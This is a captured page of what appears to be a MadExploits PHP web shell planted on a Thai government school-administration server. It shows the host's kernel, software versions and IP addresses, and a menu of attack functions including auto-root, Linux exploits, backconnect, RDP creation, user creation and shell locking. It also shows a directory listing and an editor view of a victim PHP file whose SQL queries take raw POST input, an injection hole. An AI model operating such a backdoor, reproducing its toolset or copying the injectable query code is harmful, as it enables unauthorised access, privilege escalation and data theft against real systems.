Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss_test /
modules /
supervision /
main /
[ HOME SHELL ]
Name
Size
Permission
Action
detail.php
3.16
KB
-rw-r--r--
indicator.php
30.6
KB
-rw-r--r--
livesearch1.php
795
B
-rw-r--r--
livesearch2.php
1.03
KB
-rw-r--r--
livesearch3.php
787
B
-rw-r--r--
livesearch4.php
1.02
KB
-rw-r--r--
livesearch_101.php
17.73
KB
-rw-r--r--
permission.php
11.16
KB
-rw-r--r--
report_1.php
31.11
KB
-rw-r--r--
report_2.php
29.43
KB
-rw-r--r--
report_3.php
21.18
KB
-rw-r--r--
report_4.php
5.9
KB
-rw-r--r--
report_5.php
4.04
KB
-rw-r--r--
sp1.php
62.26
KB
-rw-r--r--
sp1_mobile.php
50.04
KB
-rw-r--r--
sp2.php
6.59
KB
-rw-r--r--
sp3.php
5.75
KB
-rw-r--r--
sp4.php
5.23
KB
-rw-r--r--
standard.php
7.89
KB
-rw-r--r--
std_detail.php
8.18
KB
-rw-r--r--
std_detail2.php
9.22
KB
-rw-r--r--
supervision_activity.php
11.1
KB
-rw-r--r--
supervision_activity_number.ph...
10.05
KB
-rw-r--r--
supervision_activity_rate.php
5.49
KB
-rw-r--r--
supervision_item.php
11.3
KB
-rw-r--r--
supervision_year.php
11.12
KB
-rw-r--r--
teach_table.php
13.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : supervision_activity_rate.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); if(!($result_permission['p1']==1)) { exit(); } if(!(isset($_REQUEST['activity']))){ $_REQUEST['activity']=""; } $officer=$_SESSION['login_user_id']; echo "<br>"; //ส่วนฟอร์มกำหนดปีการศึกษา if($_REQUEST['activity']==""){ echo "<br />"; echo "<form id='frm1' name='frm1'>"; echo "<Center>"; echo "<Font color='#006666' Size='3'><B>เลือกกิจกรรม</Font>"; echo "</Cener>"; echo "<Br><Br>"; echo "<Table width='300' Border='0'>"; echo "<Tr><Td align='right'> </Td>"; echo "<td><div align='center'><Select name='activity' id='activity' size='1'>"; $sql = "select * from supervision_activity order by id"; $dbquery = mysqli_query($connect,$sql); echo "<option value = ''>เลือก</option>" ; While ($result = mysqli_fetch_array($dbquery)) { $id = $result['id']; $code= $result['activity_code']; $name = $result['activity_name']; echo "<option value = '$code'>$name</option>"; } echo "</select>"; echo "</div></td></tr>"; echo "<tr><td> </td><td> </td></tr>"; echo "<tr><td align='center' colspan='2'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='goto_url2(1)' ></td></tr>"; echo "</Table>"; echo "</form>"; } //ส่วนบันทึกข้อมูล if($index==4){ $rec_date=date("Y-m-d"); $sql = "select * from system_school where school_type='1' order by school_code"; $dbquery = mysqli_query($connect,$sql); While ($result = mysqli_fetch_array($dbquery)){ $school_code=$result['school_code']; if(isset($_POST[$school_code])){ $activity_rate=$_POST[$school_code]; $activity_rate=trim($activity_rate); } else{ $activity_rate=""; } $sql_select = "select * from supervision_activity_rate where activity='$_POST[activity]' and school_code='$school_code' "; $dbquery_select = mysqli_query($connect,$sql_select); $data_num=mysqli_num_rows($dbquery_select); if(($data_num>0) and ($activity_rate!="") and ($activity_rate!='0') and ($activity_rate<=5)){ $sql_update = "update supervision_activity_rate set activity_rate='$activity_rate', officer='$officer', rec_date='$rec_date' where activity='$_POST[activity]' and school_code='$school_code' "; $dbquery_update = mysqli_query($connect,$sql_update); } else { $sql_insert = "insert into supervision_activity_rate (school_code, activity, activity_rate,officer, rec_date) values ('$school_code', '$_POST[activity]','$activity_rate', '$officer', '$rec_date')"; if(($activity_rate!="") and ($activity_rate!='0') and ($activity_rate<=5)){ $dbquery_insert = mysqli_query($connect,$sql_insert); } } } } //ส่วนแสดงหลัก if($index==1 or $index==4){ echo "<br />"; $sql = "select * from supervision_activity where activity_code='$_POST[activity]' "; $dbquery = mysqli_query($connect,$sql); $result = mysqli_fetch_array($dbquery); echo "<table width='50%' border='0' align='center'>"; echo "<tr align='center'><td align=center><font color='#990000' size='3'><strong>บันทึกข้อมูล</strong></font></td></tr>"; echo "<tr align='center'><td align=center><font color='#2E2E2E' size='3'><strong>$result[activity_name]</strong></font></td></tr>"; echo "</table>"; echo "<br />"; echo "<form id='frm1' name='frm1'>"; $sql = "select * from system_school where school_type='1' order by school_code"; $dbquery = mysqli_query($connect,$sql); echo "<table width='50%' border='1' align='center' style='border-collapse: collapse'>"; echo "<Tr bgcolor='#E6E6E6' align='center'><Td width='50'>ที่</Td>"; echo "<Td>รหัส</Td><Td>ชื่อโรงเรียน</Td><Td>$result[unit_name]</Td></Tr>"; $N=1; $M=1; echo "<input type='hidden' name='activity' id='activity' value='$_REQUEST[activity]'>"; While ($result = mysqli_fetch_array($dbquery)) { if(($M%2) == 0){ $color="#FFFFC"; } else { $color="#FFFFFF"; } $school_code= $result['school_code']; $school_name= $result['school_name']; $sql_object = "select * from supervision_activity_rate where activity='$_POST[activity]' and school_code='$school_code'"; $dbquery_object = mysqli_query($connect,$sql_object); $result_object = mysqli_fetch_array($dbquery_object); $activity_rate=$result_object['activity_rate']; echo "<tr bgcolor='$color' align='center'><td>$N</td><td>$school_code</td><td align='left'>$school_name</td><td><input type='text' name='$school_code' size= '6' value='$activity_rate'></td></tr>"; $M++; $N++; } echo "<tr><td colspan='4' align='center'><INPUT TYPE='button' name='smb' value='บันทึก' onclick='goto_url(1)' ></td></tr>"; echo "</Table>"; echo "<br>"; echo "</form>"; } ?> <script> function goto_url2(val){ if(val==1){ if(frm1.activity.value == ""){ alert("กรุณาเลือกกิจกรรม"); }else{ callfrm("?option=supervision&task=main/supervision_activity_rate&index=1"); } } } function goto_url(val){ if(val==1){ if(frm1.activity.value == ""){ alert("กรุณาเลือกกิจกรรม"); }else{ callfrm("?option=supervision&task=main/supervision_activity_rate&index=4"); } } } </script>
Close